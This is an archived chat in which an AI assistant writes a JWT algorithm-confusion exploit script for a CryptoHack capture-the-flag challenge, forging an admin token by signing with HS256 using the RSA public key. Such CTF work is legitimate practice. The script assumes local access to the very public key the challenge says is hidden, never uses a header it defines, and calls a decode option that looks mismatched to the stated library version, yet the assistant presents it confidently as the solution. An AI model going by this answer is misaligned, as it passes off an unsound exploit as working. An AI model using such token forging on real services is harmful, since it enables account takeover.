Skip to content
TheChatArchiveThe Chat Archive
Hunyuanhunyuan-t1-20250711Hugging Face Arena Expert 5K

It is possible to abuse JWT public keys without the public key being public? This…

  1. User

    It is possible to abuse JWT public keys without the public key being public? This challenge takes RSA or HMAC one step further, and now both a deeper knowledge of RSA maths and data formatting is involved. It's more realistic than the first part as web apps usually won't have a route disclosing their public key.

    If you are attempting to implement the solution yourself (which is recommended over using a public script!), but the signature is not validating, take care that your formatting is 100% correct. We've added to the source the commands used to generate the private and public keys.

    The server is running PyJWT with a small patch, the same as the previous challenge. Check the notes from the previous challenge.

    Play at https://web.cryptohack.org/rsa-or-hmac-2

    import jwt # note this is the PyJWT module, not python-jwt

    I am using version 1.5.0 locally. Help me write an exploit script using requests.

    Private key generated using: openssl genrsa -out rsa-or-hmac-2-private.pem 2048

    with open('challenge_files/rsa-or-hmac-2-private.pem', 'rb') as f: PRIVATE_KEY = f.read()

    Public key generated using: openssl rsa -RSAPublicKey_out -in rsa-or-hmac-2-private.pem -out rsa-or-hmac-2-public.pem

    with open('challenge_files/rsa-or-hmac-2-public.pem', 'rb') as f: PUBLIC_KEY = f.read()

    FLAG = ?

    @chal.route('/rsa-or-hmac-2/authorise//') def authorise(token): try: decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256']) except Exception as e: return {"error": str(e)}

    if "admin" in decoded and decoded["admin"]:
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    elif "username" in decoded:
        return {"response": f"Welcome {decoded['username']}"}
    else:
        return {"error": "There is something wrong with your session, goodbye"}
    

    @chal.route('/rsa-or-hmac-2/create_session//') def create_session(username): encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256') return {"session": encoded}

  2. Hunyuan Assistant

    To solve this challenge, we need to exploit a vulnerability in the JWT authentication mechanism where the server incorrectly allows HS256 algorithm usage with the RSA public key treated as an HMAC secret key. Here's the step-by-step solution:

    Approach

    1. Create a Session Token: Use the /create_session endpoint to generate a valid JWT token for any username. This token is signed with the server's private RSA key using RS256.
    2. Decode the Token: Extract the payload from the token without verifying the signature to modify it.
    3. Modify the Payload: Change the admin field in the payload to True.
    4. Re-sign the Token: Create a new token with the modified payload using the HS256 algorithm. The key for signing is the server's public key (in its raw binary format), which the server will incorrectly use for HMAC verification.
    5. Send the Forged Token: Submit the forged token to the /authorise endpoint. The server will validate it using HS256 with the public key, granting admin access.

    Solution Code

    import requests
    import jwt
    
    # Read the public key in binary mode
    with open('challenge_files/rsa-or-hmac-2-public.pem', 'rb') as f:
        public_key_bytes = f.read()
    
    # Server URL
    host = "https://web.cryptohack.org"
    
    # Create a session for a dummy user
    create_session_url = f"{host}/rsa-or-hmac-2/create_session/user/"
    resp_create = requests.get(create_session_url)
    token_original = resp_create.json()['session']
    
    # Decode the token without verifying the signature
    unverified_payload = jwt.decode(token_original, options={"verify_signature": False})
    
    # Modify the payload to set admin to True
    unverified_payload['admin'] = True
    
    # Create a new header for HS256
    new_header = {
        "alg": "HS256",
        "typ": "JWT"
    }
    
    # Sign the new token using the public key bytes as the HMAC key
    new_token = jwt.encode(unverified_payload, public_key_bytes, algorithm='HS256')
    
    # Send the forged token to the authorise endpoint
    authorise_url = f"{host}/rsa-or-hmac-2/authorise/{new_token}/"
    resp_authorise = requests.get(authorise_url)
    
    print(resp_authorise.json())
    

    Explanation

    1. Reading the Public Key: The server's public key is read in binary mode. This key will be used as the HMAC secret key for signing the forged token.
    2. Creating a Session: A legitimate session token is obtained for a dummy user (user) via the /create_session endpoint. This token is signed with the server's private RSA key.
    3. Modifying the Payload: The payload of the original token is decoded without signature verification. The admin field is changed from False to True.
    4. Forging the Token: A new token is created with the modified payload. The header is set to use HS256, and the token is signed using the server's public key (as bytes) as the HMAC secret.
    5. Authentication Bypass: The forged token is sent to the /authorise endpoint. The server validates the token using HS256 with the public key, incorrectly treating it as an HMAC secret. Since the signature is now valid, the server grants admin access and returns the flag.

    This approach exploits the server's vulnerability to algorithm confusion, allowing an attacker to elevate privileges by forging a token with modified claims.

Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.